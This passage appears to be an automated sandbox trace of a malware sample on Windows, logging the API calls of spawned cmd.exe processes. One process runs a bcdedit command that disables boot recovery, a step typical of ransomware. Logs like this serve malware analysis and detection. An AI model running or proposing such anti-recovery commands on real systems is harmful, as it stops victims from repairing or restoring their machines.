nBufferLength=0x208, lpBuffer=0x4507f8, lpFilePart=0x3df140 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3df140*="Desktop") returned 0x25 [0039.077] SetErrorMode (uMode=0x0) returned 0x1 [0039.077] GetProcessHeap () returned 0x450000 [0039.077] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4507f0, Size=0x64) returned 0x4507f0 [0039.077] GetProcessHeap () returned 0x450000 [0039.077] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x4507f0) returned 0x64 [0039.077] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.077] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0039.077] GetProcessHeap () returned 0x450000 [0039.077] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x120) returned 0x463360 [0039.077] GetProcessHeap () returned 0x450000 [0039.077] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x238) returned 0x450860 [0039.083] GetProcessHeap () returned 0x450000 [0039.083] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x450860, Size=0x122) returned 0x450860 [0039.083] GetProcessHeap () returned 0x450000 [0039.083] RtlSizeHeap (HeapHandle=0x450000, Flags=0x0, MemoryPointer=0x450860) returned 0x122 [0039.083] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.083] GetProcessHeap () returned 0x450000 [0039.083] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xe0) returned 0x463488 [0039.182] _get_osfhandle (_FileHandle=2) returned 0xb [0039.182] GetFileType (hFile=0xb) returned 0x2 [0039.184] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0039.184] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x3df310 | out: lpMode=0x3df310) returned 1 [0039.184] _get_osfhandle (_FileHandle=2) returned 0xb [0039.184] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x3df344 | out: lpConsoleScreenBufferInfo=0x3df344) returned 1 [0039.185] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a874640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0039.185] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a874640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x3df368, lpReserved=0x0 | out: lpBuffer=0x4a874640*, lpNumberOfCharsWritten=0x3df368*=0x62) returned 1 [0039.186] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.186] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.186] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.186] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0039.186] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.186] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0039.187] SetConsoleInputExeNameW () returned 0x1 [0039.187] GetConsoleOutputCP () returned 0x1b5 [0039.187] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0039.187] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.188] exit (_Code=1) Process: id = "11" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x3279e000" os_pid = "0x9f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 16 os_tid = 0x490 [0038.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x33f7a4 | out: lpSystemTimeAsFileTime=0x33f7a4*(dwLowDateTime=0xa7a4ac20, dwHighDateTime=0x1d5e09d)) [0038.158] GetCurrentProcessId () returned 0x9f8 [0038.158] GetCurrentThreadId () returned 0x490 [0038.158] GetTickCount () returned 0x1154a79 [0038.158] QueryPerformanceCounter (in: lpPerformanceCount=0x33f79c | out: lpPerformanceCount=0x33f79c*=18002908090) returned 1 [0038.159] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0038.159] __set_app_type (_Type=0x1) [0038.159] __p__fmode () returned 0x76be31f4 [0038.159] __p__commode () returned 0x76be31fc [0038.159] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0038.159] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0038.160] GetCurrentThreadId () returned 0x490 [0038.160] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x490) returned 0x60 [0038.160] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.160] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0038.160] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.160] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.160] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x33f734 | out: phkResult=0x33f734*=0x0) returned 0x2 [0038.160] VirtualQuery (in: lpAddress=0x33f76b, lpBuffer=0x33f704, dwLength=0x1c | out: lpBuffer=0x33f704*(BaseAddress=0x33f000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.160] VirtualQuery (in: lpAddress=0x240000, lpBuffer=0x33f704, dwLength=0x1c | out: lpBuffer=0x33f704*(BaseAddress=0x240000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0038.160] VirtualQuery (in: lpAddress=0x241000, lpBuffer=0x33f704, dwLength=0x1c | out: lpBuffer=0x33f704*(BaseAddress=0x241000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0038.161] VirtualQuery (in: lpAddress=0x243000, lpBuffer=0x33f704, dwLength=0x1c | out: lpBuffer=0x33f704*(BaseAddress=0x243000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.161] VirtualQuery (in: lpAddress=0x340000, lpBuffer=0x33f704, dwLength=0x1c | out: lpBuffer=0x33f704*(BaseAddress=0x340000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x180000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0038.161] GetConsoleOutputCP () returned 0x1b5 [0038.161] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.161] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0038.161] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.161] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0038.161] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.161] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0038.161] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.161] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.162] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.162] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0038.162] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.162] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0038.162] GetEnvironmentStringsW () returned 0x6d2058* [0038.162] GetProcessHeap () returned 0x6c0000 [0038.162] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xaca) returned 0x6d2b30 [0038.162] FreeEnvironmentStringsW (penv=0x6d2058) returned 1 [0038.162] GetProcessHeap () returned 0x6c0000 [0038.162] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x4) returned 0x6d0c90 [0038.162] GetEnvironmentStringsW () returned 0x6d2058* [0038.162] GetProcessHeap () returned 0x6c0000 [0038.162] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xaca) returned 0x6d3608 [0038.163] FreeEnvironmentStringsW (penv=0x6d2058) returned 1 [0038.163] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x33e6a4 | out: phkResult=0x33e6a4*=0x68) returned 0x0 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x0, lpData=0x33e6b0*=0x0, lpcbData=0x33e6a8*=0x1000) returned 0x2 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x4, lpData=0x33e6b0*=0x1, lpcbData=0x33e6a8*=0x4) returned 0x0 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x0, lpData=0x33e6b0*=0x1, lpcbData=0x33e6a8*=0x1000) returned 0x2 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x4, lpData=0x33e6b0*=0x0, lpcbData=0x33e6a8*=0x4) returned 0x0 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x4, lpData=0x33e6b0*=0x40, lpcbData=0x33e6a8*=0x4) returned 0x0 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x4, lpData=0x33e6b0*=0x40, lpcbData=0x33e6a8*=0x4) returned 0x0 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x0, lpData=0x33e6b0*=0x40, lpcbData=0x33e6a8*=0x1000) returned 0x2 [0038.163] RegCloseKey (hKey=0x68) returned 0x0 [0038.163] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x33e6a4 | out: phkResult=0x33e6a4*=0x68) returned 0x0 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x0, lpData=0x33e6b0*=0x40, lpcbData=0x33e6a8*=0x1000) returned 0x2 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x4, lpData=0x33e6b0*=0x1, lpcbData=0x33e6a8*=0x4) returned 0x0 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x0, lpData=0x33e6b0*=0x1, lpcbData=0x33e6a8*=0x1000) returned 0x2 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x4, lpData=0x33e6b0*=0x0, lpcbData=0x33e6a8*=0x4) returned 0x0 [0038.163] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x4, lpData=0x33e6b0*=0x9, lpcbData=0x33e6a8*=0x4) returned 0x0 [0038.164] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x4, lpData=0x33e6b0*=0x9, lpcbData=0x33e6a8*=0x4) returned 0x0 [0038.164] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x33e6ac, lpData=0x33e6b0, lpcbData=0x33e6a8*=0x1000 | out: lpType=0x33e6ac*=0x0, lpData=0x33e6b0*=0x9, lpcbData=0x33e6a8*=0x1000) returned 0x2 [0038.164] RegCloseKey (hKey=0x68) returned 0x0 [0038.164] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e1c [0038.164] srand (_Seed=0x5e423e1c) [0038.164] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0038.164] GetCommandLineW () returned="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0038.164] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.164] GetProcessHeap () returned 0x6c0000 [0038.164] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x210) returned 0x6d2058 [0038.164] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6d2060, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0038.164] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.164] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.164] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.164] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0038.164] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0038.164] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0038.164] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0038.165] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0038.165] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0038.165] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0038.165] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0038.165] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0038.165] GetProcessHeap () returned 0x6c0000 [0038.165] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d2b30 | out: hHeap=0x6c0000) returned 1 [0038.165] GetEnvironmentStringsW () returned 0x6d2270* [0038.165] GetProcessHeap () returned 0x6c0000 [0038.165] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xae2) returned 0x6d4bd0 [0038.165] FreeEnvironmentStringsW (penv=0x6d2270) returned 1 [0038.165] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.165] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.165] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0038.165] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0038.165] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0038.165] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0038.165] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0038.165] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0038.165] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0038.165] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0038.165] GetProcessHeap () returned 0x6c0000 [0038.165] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x54) returned 0x6d56c0 [0038.165] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x33f470 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.165] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x33f470, lpFilePart=0x33f46c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33f46c*="Desktop") returned 0x25 [0038.165] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.166] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x33f1ec | out: lpFindFileData=0x33f1ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6d1ed8 [0038.166] FindClose (in: hFindFile=0x6d1ed8 | out: hFindFile=0x6d1ed8) returned 1 [0038.166] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x33f1ec | out: lpFindFileData=0x33f1ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6d1ed8 [0038.166] FindClose (in: hFindFile=0x6d1ed8 | out: hFindFile=0x6d1ed8) returned 1 [0038.166] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0038.166] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x33f1ec | out: lpFindFileData=0x33f1ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6d1ed8 [0038.166] FindClose (in: hFindFile=0x6d1ed8 | out: hFindFile=0x6d1ed8) returned 1 [0038.166] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.166] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0038.166] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0038.166] GetProcessHeap () returned 0x6c0000 [0038.166] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4bd0 | out: hHeap=0x6c0000) returned 1 [0038.166] GetEnvironmentStringsW () returned 0x6d40e0* [0038.166] GetProcessHeap () returned 0x6c0000 [0038.166] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb36) returned 0x6d5f20 [0038.167] FreeEnvironmentStringsW (penv=0x6d40e0) returned 1 [0038.167] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.167] GetProcessHeap () returned 0x6c0000 [0038.167] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d56c0 | out: hHeap=0x6c0000) returned 1 [0038.167] GetProcessHeap () returned 0x6c0000 [0038.167] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400e) returned 0x6d6a60 [0038.167] GetProcessHeap () returned 0x6c0000 [0038.167] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x80) returned 0x6d2db0 [0038.167] GetProcessHeap () returned 0x6c0000 [0038.167] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d6a60 | out: hHeap=0x6c0000) returned 1 [0038.167] GetConsoleOutputCP () returned 0x1b5 [0038.842] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.842] GetUserDefaultLCID () returned 0x409 [0038.843] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x33f5b0, cchData=128 | out: lpLCData="0") returned 2 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x33f5b0, cchData=128 | out: lpLCData="0") returned 2 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x33f5b0, cchData=128 | out: lpLCData="1") returned 2 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0038.844] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0038.844] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.845] GetProcessHeap () returned 0x6c0000 [0038.845] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20c) returned 0x6d2e38 [0038.845] GetConsoleTitleW (in: lpConsoleTitle=0x6d2e38, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.846] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.846] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0038.846] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0038.846] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0038.846] GetProcessHeap () returned 0x6c0000 [0038.846] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6d6a60 [0038.846] GetProcessHeap () returned 0x6c0000 [0038.846] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d6a60 | out: hHeap=0x6c0000) returned 1 [0038.847] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0038.847] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0038.847] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0038.847] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0038.847] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0038.847] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0038.847] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0038.847] GetProcessHeap () returned 0x6c0000 [0038.847] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x58) returned 0x6d3050 [0038.847] GetProcessHeap () returned 0x6c0000 [0038.847] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x18) returned 0x6d30b0 [0038.848] GetProcessHeap () returned 0x6c0000 [0038.848] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x6e) returned 0x6d30d0 [0038.849] GetConsoleTitleW (in: lpConsoleTitle=0x33f2a8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.849] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0038.849] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0038.849] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0038.849] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0038.849] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0038.849] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0038.849] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0038.849] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0038.849] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0038.849] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0038.849] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0038.849] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0038.849] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0038.849] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0038.850] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0038.850] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 